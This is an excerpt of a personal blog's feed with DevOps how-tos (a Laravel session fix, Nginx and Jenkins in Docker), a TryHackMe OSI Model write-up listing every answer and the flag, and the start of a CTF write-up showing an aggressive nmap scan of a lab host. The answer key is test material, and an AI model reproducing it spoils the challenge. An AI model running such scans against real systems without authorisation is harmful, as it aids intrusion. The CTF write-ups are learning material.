<p>Now there will be no issue when user try to visit any endpoint and it will return error when hit refresh button.</p>]]></content><author><name>Rudra Sarkar</name></author><category term="apache2" /><category term="devops" /><category term="cloud" /><summary type="html"><![CDATA[Copy the entire /build/web into /var/www/html or anywhere you like]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://rudra0x01.xyz/assets/img/og-default.png" /><media:content medium="image" url="https://rudra0x01.xyz/assets/img/og-default.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">AWS Load Balancer Laravel 419 page expired error</title><link href="https://rudra0x01.xyz/aws-load-balancer-laravel-419-page-expired-error/" rel="alternate" type="text/html" title="AWS Load Balancer Laravel 419 page expired error" /><published>2024-10-19T13:18:00+06:00</published><updated>2024-10-19T13:18:00+06:00</updated><id>https://rudra0x01.xyz/aws-load-balancer-laravel-419-page-expired-error</id><content type="html" xml:base="https://rudra0x01.xyz/aws-load-balancer-laravel-419-page-expired-error/"><![CDATA[<p>Recently I encountered an issue that is when I created a load balancer for a project and the project I created with Laravel Framework. I found a problem: when I am trying to submit the form it shows me:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>419 | PAGE EXPIRED
</code></pre></div></div>

<p>Laravel by default keeps the session in the file, The reason I was getting the error. As I don’t have any sync enabled for my instances so it was failing to get the file. The easiest fix is to set the <code class="language-plaintext highlighter-rouge">session_driver=file</code> to <code class="language-plaintext highlighter-rouge">session_driver=database</code> in <code class="language-plaintext highlighter-rouge">.env</code> file and then run</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>php artisan session:table

php artisan migrate
</code></pre></div></div>

<p>Reference: <a href="https://laravel.com/docs/8.x/session#driver-prerequisites">Laravel 8.x</a></p>

<p>For the newer version of Laravel, it’s a bit different to create a session table:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>php artisan make:session-table
 
php artisan migrate
</code></pre></div></div>

<p>Reference: <a href="https://laravel.com/docs/11.x/session#driver-prerequisites">Laravel 11.x</a></p>

<p>Once all of these are done you have to do this clear and cache the configuration</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>php artisan config:cache
</code></pre></div></div>]]></content><author><name>Rudra Sarkar</name></author><category term="aws" /><category term="devops" /><category term="cloud" /><summary type="html"><![CDATA[Recently I encountered an issue that is when I created a load balancer for a project and the project I created with Laravel Framework. I found a problem: when I am trying to submit the form it shows me:]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://rudra0x01.xyz/assets/img/og-default.png" /><media:content medium="image" url="https://rudra0x01.xyz/assets/img/og-default.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Creating Nginx container with Docker</title><link href="https://rudra0x01.xyz/create-nginx-container-with-docker/" rel="alternate" type="text/html" title="Creating Nginx container with Docker" /><published>2021-09-22T13:19:00+06:00</published><updated>2021-09-22T13:19:00+06:00</updated><id>https://rudra0x01.xyz/create-nginx-container-with-docker</id><content type="html" xml:base="https://rudra0x01.xyz/create-nginx-container-with-docker/"><![CDATA[<p>First we need to install docker if it is not already installed. Go to the <a href="https://www.docker.com/products/docker-desktop">Docker website</a> and download the latest version of Docker for Windows/Mac/Linux as per your system.</p>

<p>After complete installation of docker. So, we can pull Nginx image from docker hub.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>docker pull nginx
</code></pre></div></div>

<p>As now we have Nginx image in docker. So, we can create a container from this image. Let’s make a folder called <code class="language-plaintext highlighter-rouge">docker-nginx-basic-setup</code> ( or anything you like to name your folder ) and create a file called <code class="language-plaintext highlighter-rouge">Dockerfile</code> inside it. Before creating the Dockerfile, let me show you my directory structure to make it easier.</p>

<div class="language-zsh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">.</span>
├── Dockerfile
├── conf
│   └── nginx.conf
└── src
    └── index.html

2 directories, 3 files
</code></pre></div></div>

<p>We will use <code class="language-plaintext highlighter-rouge">alpine</code> image because it is a lightweight image. You can use any image you want. Now lets create the Dockerfile.</p>

<div class="language-Dockerfile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">FROM</span><span class="s"> nginx:alpine</span>
<span class="k">COPY</span><span class="s"> conf/nginx.conf /etc/nginx/</span>
<span class="k">COPY</span><span class="s"> src/index.html /usr/share/nginx/html/</span>
</code></pre></div></div>

<p>First we used the <code class="language-plaintext highlighter-rouge">FROM</code> command to specify the image we want to use. Now we have to copy the files we want to use in the container.</p>

<p>We have to copy the configuration file <code class="language-plaintext highlighter-rouge">nginx.conf</code> from current working directory to container directory <code class="language-plaintext highlighter-rouge">/etc/nginx/</code>.</p>

<p>Same for the <code class="language-plaintext highlighter-rouge">index.html</code> file we need to copy it to <code class="language-plaintext highlighter-rouge">/usr/share/nginx/html/</code>. This is all about the basic configuration for writing a Dockerfile.</p>

<p>Now we need to create <code class="language-plaintext highlighter-rouge">nginx.conf</code> file inside <code class="language-plaintext highlighter-rouge">conf/</code> directory.</p>

<div class="language-conf highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">events</span> {}

<span class="n">http</span> {
    <span class="n">server</span> {
        <span class="n">listen</span> <span class="m">80</span>;
        <span class="n">server_name</span> <span class="n">localhost</span>;

        <span class="n">location</span> / {
            <span class="n">root</span> /<span class="n">usr</span>/<span class="n">share</span>/<span class="n">nginx</span>/<span class="n">html</span>;
            <span class="n">index</span> <span class="n">index</span>.<span class="n">html</span>;
        }
    }
}
</code></pre></div></div>

<p>In this config file we have to specify the port number and the server name, and also the location of the index file.</p>

<p>First we added <code class="language-plaintext highlighter-rouge">events{}</code> block. This is a block which is used to specify the events. In this case we are not using any events. But we have to keep it because it is a mandatory block, but we don’t need to specify any events.</p>

<p>Next block is <code class="language-plaintext highlighter-rouge">http{}</code> block. This is the main block which is used to specify the http configuration.</p>

<p>Inside the <code class="language-plaintext highlighter-rouge">http{}</code> block we have to specify the <code class="language-plaintext highlighter-rouge">server{}</code> block. This is the block which is used to add port number and server name, and also location of index file.</p>

<p>Inside <code class="language-plaintext highlighter-rouge">server{}</code> I used <code class="language-plaintext highlighter-rouge">listen 80</code> which will listen to port 80, and <code class="language-plaintext highlighter-rouge">server_name localhost</code> which will listen to localhost. the <code class="language-plaintext highlighter-rouge">location /</code> block is used to specify the location of the index file, and <code class="language-plaintext highlighter-rouge">root /usr/share/nginx/html</code> which will specify the root directory of the index file. And <code class="language-plaintext highlighter-rouge">index index.html</code> which will specify the index file inside the root directory in our case the root directory is <code class="language-plaintext highlighter-rouge">/usr/share/nginx/html</code>.</p>

<p>Now let’s create <code class="language-plaintext highlighter-rouge">index.html</code> inside <code class="language-plaintext highlighter-rouge">src/</code> directory.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;html&gt;</span>
  <span class="nt">&lt;body&gt;</span>
      <span class="nt">&lt;h1&gt;</span>Host:
          <span class="c">&lt;!--#echo var="HOSTNAME" --&gt;</span>
      <span class="nt">&lt;/h1&gt;</span>
      Version: 1.1
  <span class="nt">&lt;/body&gt;</span>
<span class="nt">&lt;/html&gt;</span>
</code></pre></div></div>

<p>Created a simple html file, The host name <code class="language-plaintext highlighter-rouge">&lt;!--#echo var="HOSTNAME" --&gt;</code> will pick up the host name of docker machine container id.</p>

<p>Now we have to build image and then we will create container.</p>

<div class="language-zsh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rudra:docker-nginx-basic-setup/ <span class="nv">$ </span>docker build <span class="nb">.</span> <span class="nt">-t</span> docker-nginx-basic-setup
<span class="o">[</span>+] Building 12.2s <span class="o">(</span>9/9<span class="o">)</span> FINISHED
 <span class="o">=&gt;</span> <span class="o">[</span>internal] load build definition from Dockerfile                                                                                                                         0.0s
 <span class="o">=&gt;</span> <span class="o">=&gt;</span> transferring dockerfile: 83B                                                                                                                                          0.0s
 <span class="o">=&gt;</span> <span class="o">[</span>internal] load .dockerignore                                                                                                                                            0.0s
 <span class="o">=&gt;</span> <span class="o">=&gt;</span> transferring context: 2B                                                                                                                                              0.0s
 <span class="o">=&gt;</span> <span class="o">[</span>internal] load metadata <span class="k">for </span>docker.io/library/nginx:alpine                                                                                                             12.1s
 <span class="o">=&gt;</span> <span class="o">[</span>auth] library/nginx:pull token <span class="k">for </span>registry-1.docker.io                                                                                                                 0.0s
 <span class="o">=&gt;</span> <span class="o">[</span>1/3] FROM docker.io/library/nginx:alpine@sha256:686aac2769fd6e7bab67663fd38750c135b72d993d0bb0a942ab02ef647fc9c3                                                        0.0s
 <span class="o">=&gt;</span> <span class="o">[</span>internal] load build context                                                                                                                                            0.0s
 <span class="o">=&gt;</span> <span class="o">=&gt;</span> transferring context: 211B                                                                                                                                            0.0s
 <span class="o">=&gt;</span> CACHED <span class="o">[</span>2/3] COPY conf/nginx.conf /etc/nginx/                                                                                                                            0.0s
 <span class="o">=&gt;</span> CACHED <span class="o">[</span>3/3] COPY src/index.html /usr/share/nginx/html/                                                                                                                  0.0s
 <span class="o">=&gt;</span> exporting to image                                                                                                                                                       0.0s
 <span class="o">=&gt;</span> <span class="o">=&gt;</span> exporting layers                                                                                                                                                      0.0s
 <span class="o">=&gt;</span> <span class="o">=&gt;</span> writing image sha256:7e38faa32c18dfcb9dd970db989ee9b354496e365ad0e8f4698934297efb2025                                                                                 0.0s
 <span class="o">=&gt;</span> <span class="o">=&gt;</span> naming to docker.io/library/docker-nginx-basic-setup                                                                                                                  0.0s
rudra:docker-nginx-basic-setup/ <span class="err">$</span>
</code></pre></div></div>

<p>We have build the image and lets create container and run from our image.</p>

<div class="language-zsh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rudra:docker-nginx-basic-setup/ <span class="nv">$ </span>docker run <span class="nt">--name</span> basic-nginx-container <span class="nt">-d</span> <span class="nt">-p</span> 80:80 docker-nginx-basic-setup
5895d7b4aa9355d66ed0036f1d027029fef6afcb723250676da8df892531fe3e
</code></pre></div></div>

<div class="language-zsh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rudra:docker-nginx-basic-setup/ <span class="nv">$ </span>docker ps
CONTAINER ID   IMAGE                      COMMAND                  CREATED          STATUS          PORTS                               NAMES
5895d7b4aa93   docker-nginx-basic-setup   <span class="s2">"/docker-entrypoint.…"</span>   18 seconds ago   Up 17 seconds   0.0.0.0:80-&gt;80/tcp, :::80-&gt;80/tcp   basic-nginx-container
</code></pre></div></div>

<p>As we set host machine will listen to port 80 of machine port 80 so we can access the port 80 from host machine. The URL will be <code class="language-plaintext highlighter-rouge">http://localhost:80/</code>, When you’ll naviagte to the URL it will return the html page the server is <code class="language-plaintext highlighter-rouge">Nginx</code>.</p>

<p><img src="/images/Docker/2021-09-23-20-25-09.png" alt="HTML output" /></p>

<p><img src="/images/Docker/2021-09-23-20-26-03.png" alt="Server: nginx" /></p>

<p>As I am learning <code class="language-plaintext highlighter-rouge">Docker</code> also <code class="language-plaintext highlighter-rouge">Nginx</code> things so, I start writing blog about these. So, It can help me later or if any one get help from it then it will be awesome.</p>

<p>Thanks for reading.</p>]]></content><author><name>Rudra Sarkar</name></author><category term="docker" /><category term="nginx" /><summary type="html"><![CDATA[First we need to install docker if it is not already installed. Go to the Docker website and download the latest version of Docker for Windows/Mac/Linux as per your system.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://rudra0x01.xyz/assets/img/og-default.png" /><media:content medium="image" url="https://rudra0x01.xyz/assets/img/og-default.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Installing Jenkins in docker</title><link href="https://rudra0x01.xyz/installing-jenkins-in-docker/" rel="alternate" type="text/html" title="Installing Jenkins in docker" /><published>2021-08-20T22:42:00+06:00</published><updated>2021-08-20T22:42:00+06:00</updated><id>https://rudra0x01.xyz/installing-jenkins-in-docker</id><content type="html" xml:base="https://rudra0x01.xyz/installing-jenkins-in-docker/"><![CDATA[<p>For installing jenkins in docker, I followed the download link <a href="https://www.jenkins.io/download/">https://www.jenkins.io/download/</a>.</p>

<p>After that I saw there is docker image available for jenkins in <a href="https://hub.docker.com/r/jenkins/jenkins">hub.docker.com</a>.</p>

<h3 id="step-1-pull-docker-image">Step 1: Pull docker image</h3>

<p>I started the docker daemon and then pull the image from hub.docker.com I always use LTS version because it’s more stable.</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">rudra:lab/ $</span><span class="w"> </span>docker pull jenkins/jenkins:lts-jdk11
<span class="go">lts-jdk11: Pulling from jenkins/jenkins
4c25b3090c26: Pull complete
750d566fdd60: Pull complete
2718cc36ca02: Pull complete
5678b027ee14: Pull complete
c839cd2df78d: Pull complete
50861a5addda: Pull complete
ff2b028e5cf5: Pull complete
ee710b58f452: Pull complete
2625c929bb0e: Pull complete
6a6bf9181c04: Pull complete
bee5e6792ac4: Pull complete
6cc5edd2133e: Pull complete
c07b16426ded: Pull complete
e9ac42647ae3: Pull complete
fa925738a490: Pull complete
4a08c3886279: Pull complete
2d43fec22b7e: Pull complete
Digest: sha256:a942c30fc3bcf269a1c32ba27eb4a470148eff9aba086911320031a3c3943e6c
Status: Downloaded newer image for jenkins/jenkins:lts-jdk11
docker.io/jenkins/jenkins:lts-jdk11
</span></code></pre></div></div>

<p>As we pulled the image from hub.docker.com, now we can create our jenkins container from the image.</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">rudra:lab/ $</span><span class="w"> </span>docker image list
<span class="go">REPOSITORY        TAG         IMAGE ID       CREATED       SIZE
jenkins/jenkins   lts-jdk11   619aabbe0502   5 hours ago   441MB
</span></code></pre></div></div>

<h3 id="step-2-create-container-and-basic-commands">Step 2: Create container and basic commands</h3>

<p>Copy the image id from the above output and use it to create the container. A blog of digitalocean: <a href="https://www.digitalocean.com/community/tutorials/3-tips-for-naming-docker-containers">3 Tips for Naming Docker Containers</a>, docker docs about <a href="https://docs.docker.com/engine/reference/run/#name---name">container name –name</a></p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">rudra:~/ $</span><span class="w"> </span>docker run <span class="nt">--name</span><span class="o">=</span>jenkins-for-learn <span class="nt">-d</span> <span class="nt">-p</span> 8081:8080 619aabbe0502
<span class="go">516653a91b3bd8a00399dc5dc47faec7d0769814e12d50f448f2e8368d63892f
</span></code></pre></div></div>

<p>make sure you use <code class="language-plaintext highlighter-rouge">--name</code> argument after <code class="language-plaintext highlighter-rouge">docker run</code> command or not it can causes error. Let’s discuss about the command I write in the above command.</p>

<p><code class="language-plaintext highlighter-rouge">docker run</code> help to create a container. <code class="language-plaintext highlighter-rouge">-d</code> is for detach mode. It means that the container will run in the background, <code class="language-plaintext highlighter-rouge">-p</code> is for port maping if you see in the command line, 8081 will talk to port 8080 inside the container. So, you can access jenkins from your local machine.</p>

<p>Now type <code class="language-plaintext highlighter-rouge">docker ps</code> to see the running container.</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">rudra:~/ $</span><span class="w"> </span>docker ps
<span class="go">CONTAINER ID   IMAGE          COMMAND                  CREATED          STATUS          PORTS                                                  NAMES
</span><span class="gp">ef7240932d77   619aabbe0502   "/sbin/tini -- /usr/…"   13 minutes ago   Up 13 minutes   50000/tcp, 0.0.0.0:8081-&gt;</span>8080/tcp, :::8081-&gt;8080/tcp   jenkins-for-learn
</code></pre></div></div>

<p>if you want to stop the container, type <code class="language-plaintext highlighter-rouge">docker stop &lt;container_id&gt;</code></p>

<p>after I use stop command, I can see the container stopped. No container running after using <code class="language-plaintext highlighter-rouge">docker ps</code> command.</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">rudra:~/ $</span><span class="w"> </span>docker stop ef7240932d77
<span class="go">ef7240932d77
</span><span class="gp">rudra:~/ $</span><span class="w"> </span>docker ps
<span class="go">CONTAINER ID   IMAGE     COMMAND   CREATED   STATUS    PORTS     NAMES
</span></code></pre></div></div>

<p>As we have container id, we can use it to access CLI from local machine to the container. Learn <a href="https://docs.docker.com/engine/reference/commandline/exec/">docker exec</a></p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">rudra:~/ $</span><span class="w"> </span>docker <span class="nb">exec</span> <span class="nt">-it</span> ef7240932d77 /bin/sh
<span class="gp">$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">bin  boot  dev	etc  home  lib	lib64  media  mnt  opt	proc  root  run  sbin  srv  sys  tmp  usr  var
</span><span class="gp">$</span><span class="w">
</span></code></pre></div></div>

<h3 id="step-3-install-jenkins">Step 3: Install jenkins</h3>

<p>It’s fun right? we need to access CLI, when we are going to install jenkins. As we have port 8081 which accosiate to 8080 inside the container, we can access jenkins from local machine. Let’s browse from <a href="http://localhost:8081/">http://localhost:8081/</a></p>

<p>It will redirect to <code class="language-plaintext highlighter-rouge">Unlock Jenkins</code> page. where we need to input the password and now we need the CLI to get the password.</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">rudra:~/ $</span><span class="w"> </span>docker <span class="nb">exec</span> <span class="nt">-it</span> ef7240932d77 /bin/sh
<span class="gp">$</span><span class="w"> </span><span class="nb">cat</span> /var/jenkins_home/secrets/initialAdminPassword
<span class="go">a5b9c40a2c7b420199827e7609406a2a
</span></code></pre></div></div>

<p>Copy the password and paste it in the <strong>Administrator password</strong> input box and click <strong>Continue</strong>. Now in <code class="language-plaintext highlighter-rouge">Customize Jenkins</code> page, click <code class="language-plaintext highlighter-rouge">Install suggested plugins</code>.</p>

<p>I normally go with suggested pulgin because it installed few pulgin which actually I need, probably everyon because there is <code class="language-plaintext highlighter-rouge">Git, OWASP Markup Formatter, Pipeline, GitHub Branch Source</code> so on.</p>

<p>Now, Create First Admin User input username, password, full name and email and click <strong>Save and Continue</strong> in the next page click <strong>Save instance</strong> and then Jenkins is ready! to use.</p>

<p>Thanks for reading this post. I will create another post about how to create Freestyle project in jenkins.</p>]]></content><author><name>Rudra Sarkar</name></author><category term="cloud" /><category term="aws" /><category term="jenkins" /><summary type="html"><![CDATA[For installing jenkins in docker, I followed the download link https://www.jenkins.io/download/.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://rudra0x01.xyz/assets/img/og-default.png" /><media:content medium="image" url="https://rudra0x01.xyz/assets/img/og-default.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">TryHackMe - OSI Model - Writeup</title><link href="https://rudra0x01.xyz/tryhackme-OSI-Model/" rel="alternate" type="text/html" title="TryHackMe - OSI Model - Writeup" /><published>2021-07-06T15:00:00+06:00</published><updated>2021-07-06T15:00:00+06:00</updated><id>https://rudra0x01.xyz/tryhackme-OSI-Model</id><content type="html" xml:base="https://rudra0x01.xyz/tryhackme-OSI-Model/"><![CDATA[<p>OSI Model</p>

<p>Learn about the fundamental networking framework that determines the various stages in which data is handled across a network</p>

<h2 id="task-1--what-is-the-osi-model">Task 1  What is the OSI Model?</h2>

<p>The OSI model (or Open Systems Interconnection Model) is an absolute fundamental model used in networking.  This critical model provides a framework dictating how all networked devices will send, receive and interpret data.</p>

<p>One of the main benefits of the OSI model is that devices can have different functions and designs on a network while communicating with other devices. Data sent across a network that follows the uniformity of the OSI model can be understood by other devices.</p>

<p>[…]</p>

<p>Question: What does the “OSI” in “OSI Model” stand for?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">Open Systems Interconnection</code></p>

<p>Question: How many layers (in digits) does the OSI model have?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">7</code></p>

<p>Question: What is the key term for when pieces of information get added to data?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">encapsulation</code></p>

<h2 id="task-2--layer-7---application">Task 2  Layer 7 - Application</h2>

<p>The application layer of the OSI model is the layer that you will be most familiar with. This familiarity is because the application layer is the layer in which protocols and rules are in place to determine how the user should interact with data sent or received.</p>

<p>[…]</p>

<p>Question: What is the name of this Layer?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">Application</code></p>

<p>Question: What is the technical term that is given to the name of the software that users interact with?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">Graphical User Interface</code></p>

<h2 id="task-3--layer-6---presentation">Task 3  Layer 6 - Presentation</h2>

<p>Layer 6 of the OSI model is the layer in which standardisation starts to take place. Because software developers can develop any software such as an email client differently, the data still needs to be handled in the same way — no matter how the software works.</p>

<p>[…]</p>

<p>Question: What is the name of this Layer?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">Presentation</code></p>

<p>Question: What is the main purpose that this Layer acts as?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">Translator</code></p>

<h2 id="task-4--layer-5---session">Task 4  Layer 5 - Session</h2>

<p>Once data has been correctly translated or formatted from the presentation layer (layer 6), the session layer (layer 5) will begin to create a connection to the other computer that the data is destined for. When a connection is established, a session is created. Whilst this connection is active, so is the session.</p>

<p>[…]</p>

<p>Question: What is the name of this Layer?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">Session</code></p>

<p>Question: What is the technical term for when a connection is successfully established?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">Session</code></p>

<p>Question: What is the technical term for “small chunks of data”?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">Packets</code></p>

<h2 id="task-5--layer-4---transport">Task 5  Layer 4 - Transport</h2>

<p>Layer 4 of the OSI model plays a vital part in transmitting data across a network and can be a little bit difficult to grasp. When data is sent between devices, it follows one of two different protocols that are decided based upon several factors:</p>

<ul>
  <li>TCP</li>
  <li>UDP</li>
</ul>

<p>Let’s begin with TCP. The Transmission Control Protocol (TCP). Potentially hinted by the name, this protocol is designed with reliability and guarantee in mind. This protocol reserves a constant connection between the two devices for the amount of time it takes for the data to be sent and received.</p>

<p>[…]</p>

<p>Question: What is the name of this Layer?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">Transport</code></p>

<p>Question: What does TCP stand for?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">Transmission Control Protocol</code></p>

<p>Question: What does UDP stand for?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">User Datagram Protocol</code></p>

<p>Question: What protocol guarantees the accuracy of data?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">TCP</code></p>

<p>Question: What protocol doesn’t care if data is received or not by the other device?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">UDP</code></p>

<p>Question: What protocol would an application such as an email client use?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">TCP</code></p>

<p>Question: What protocol would an application that downloads files use?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">TCP</code></p>

<p>Question: What protocol would an application that streams video use?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">UDP</code></p>

<h2 id="task-6--layer-3---network">Task 6  Layer 3 - Network</h2>

<p>The third layer of the OSI model (network layer) is where the magic of routing &amp; re-assembly of data takes place (from these small chunks to the larger chunk). Firstly, routing simply determines the most optimal path in which these chunks of data should be sent.</p>

<p>[…]</p>

<p>Question: What is the name of this Layer?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">Network</code></p>

<p>Question: Will packets take the most optimal route across a network? (Y/N)</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">Y</code></p>

<p>Question: What does the acronym “OSPF” stand for?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">Open Shortest Path First</code></p>

<p>Question: What does the acronym “RIP” stand for?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">Routing Information Protocol</code></p>

<p>Question: What type of addresses are dealt with at this layer?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">IP Addresses</code></p>

<h2 id="task-7--layer-2---data-link">Task 7  Layer 2 - Data Link</h2>

<p>The data link layer focuses on the physical addressing of the transmission. It receives a packet from the network layer (including the IP address for the remote computer) and adds in the physical MAC (Media Access Control) address of the receiving endpoint. Inside every network-enabled computer is a Network Interface Card (NIC) which comes with a unique MAC address to identify it.</p>

<p>[…]</p>

<p>Question: What is the name of this Layer?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">Data Link</code></p>

<p>Question: What is the name of the piece of hardware that all networked devices come with?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">Network Interface Card</code></p>

<h2 id="task-8--layer-1---physical">Task 8  Layer 1 - Physical</h2>

<p>This layer is one of the easiest layers to grasp. Put simply, this layer references the physical components of the hardware used in networking and is the lowest layer that you will find. Devices use electrical signals to transfer data between each other in a binary numbering system (1’s and 0’s).</p>

<p>[…]</p>

<p>Question: What is the name of this Layer?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">Physical</code></p>

<p>Question: What is the name of the numbering system that is both 0’s and 1’s?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">Binary</code></p>

<p>Question: What is the name of the cables that are used to connect devices?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">Ethernet Cables</code></p>

<h2 id="task-9--practical---osi-game">Task 9  Practical - OSI Game</h2>

<p>Can you escape the OSI dungeon? Climb the levels in the correct order to escape the dungeon and reveal the flag! (Can you beat our staff high score of 19 seconds?)</p>

<p>Click the “View Site” button on the right to start.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Note: If you are in MAC then play the game using Option Key + Space to go inside open door (layer),

And If you are in Windows play with Alt Key + Space to go inside open door (layer).
</code></pre></div></div>

<p>Question: Escape the dungeon to retrieve the flag. What is the flag?</p>

<p>Answer: <code class="language-plaintext highlighter-rouge">THM{OSI_DUNGEON_ESCAPED}</code></p>

<h2 id="task-10--continue-your-learning-packets--frames">Task 10  Continue Your Learning: Packets &amp; Frames</h2>

<p>Continue your learning by joining the <a href="https://tryhackme.com/room/packetsframes">“Packets and Frames” room.</a></p>

<p>Question: Join the <a href="https://tryhackme.com/room/packetsframes">“Packets and Frames” room.</a></p>

<p>Answer: <code class="language-plaintext highlighter-rouge">No Answer needed</code></p>

<p>Room link: https://tryhackme.com/room/osimodelzi</p>]]></content><author><name>Rudra Sarkar</name></author><category term="tryhackme" /><summary type="html"><![CDATA[OSI Model Learn about the fundamental networking framework that determines the various stages in which data is handled across a network]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://rudra0x01.xyz/assets/img/og-default.png" /><media:content medium="image" url="https://rudra0x01.xyz/assets/img/og-default.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">TryHackMe - Git and Crumpets - Writeup</title><link href="https://rudra0x01.xyz/tryhackme-Git-and-Crumpets/" rel="alternate" type="text/html" title="TryHackMe - Git and Crumpets - Writeup" /><published>2021-07-03T22:52:00+06:00</published><updated>2021-07-03T22:52:00+06:00</updated><id>https://rudra0x01.xyz/tryhackme-Git-and-Crumpets</id><content type="html" xml:base="https://rudra0x01.xyz/tryhackme-Git-and-Crumpets/"><![CDATA[<p>Git and Crumpets</p>

<p>Our devs have been clamoring for some centralized version control, so the admin came through. Rumour has it that they included a few countermeasures…</p>

<h2 id="nmap-scanning">Nmap scanning</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@ip-10-10-226-10:~# nmap <span class="nt">-sCV</span> <span class="nt">-A</span> 10.10.130.239 <span class="nt">-T4</span>

Starting Nmap 7.60 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2021-07-02 22:11 BST
Nmap scan report <span class="k">for </span>ip-10-10-130-239.eu-west-1.compute.internal <span class="o">(</span>10.10.130.239<span class="o">)</span>
Host is up <span class="o">(</span>0.00053s latency<span class="o">)</span><span class="nb">.</span>
Not shown: 997 filtered ports
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 8.0 <span class="o">(</span>protocol 2.0<span class="o">)</span>
80/tcp   open   http       nginx
|_http-server-header: nginx
| http-title: 503 Service Temporarily Unavailable
|_Requested resource was http://ip-10-10-130-239.eu-west-1.compute.internal/index.html
9090/tcp closed zeus-admin
MAC Address: 02:F5:B8:0C:58:1B <span class="o">(</span>Unknown<span class="o">)</span>
Aggressive OS guesses: HP P2000 G3 NAS device <span class="o">(</span>91%<span class="o">)</span>, Linux 3.13 <span class="o">(</span>90%<span class="o">)</span>, Linux 3.8 <span class="o">(</span>90%<span class="o">)</span>, Linux 2.6.32 <span class="o">(</span>89%<span class="o">)</span>, Linux 2.6.32 - 3.1 <span class="o">(</span>89%<span class="o">)</span>, Infomir MAG-250 set-top box <span class="o">(</span>89%<span class="o">)</span>, Ubiquiti AirMax NanoStation WAP <span class="o">(</span>Linux 2.6.32<span class="o">)</span> <span class="o">(</span>89%<span class="o">)</span>, Linux 3.7 <span class="o">(</span>89%<span class="o">)</span>, Ubiquiti AirOS 5.5.9 <span class="o">(</span>89%<span class="o">)</span>, Ubiquiti Pico Station WAP <span class="o">(</span>AirOS 5.2.6<span class="o">)</span> <span class="o">(</span>89%<span class="o">)</span>
No exact OS matches <span class="k">for </span>host <span class="o">(</span><span class="nb">test </span>conditions non-ideal<span class="o">)</span><span class="nb">.</span>
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.53 ms ip-10-10-130-239.eu-west-1.compute.internal <span class="o">(</span>10.10.130.239<span class="o">)</span>

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="nb">.</span>
Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>61.66 seconds
</code></pre></div></div>

<p>And the server goes down so I had to restart the target URL once again. So, after restart service I found that when you visit to the url it will take you to <code class="language-plaintext highlighter-rouge">Never Gonna Give Up</code> youtube video.</p>

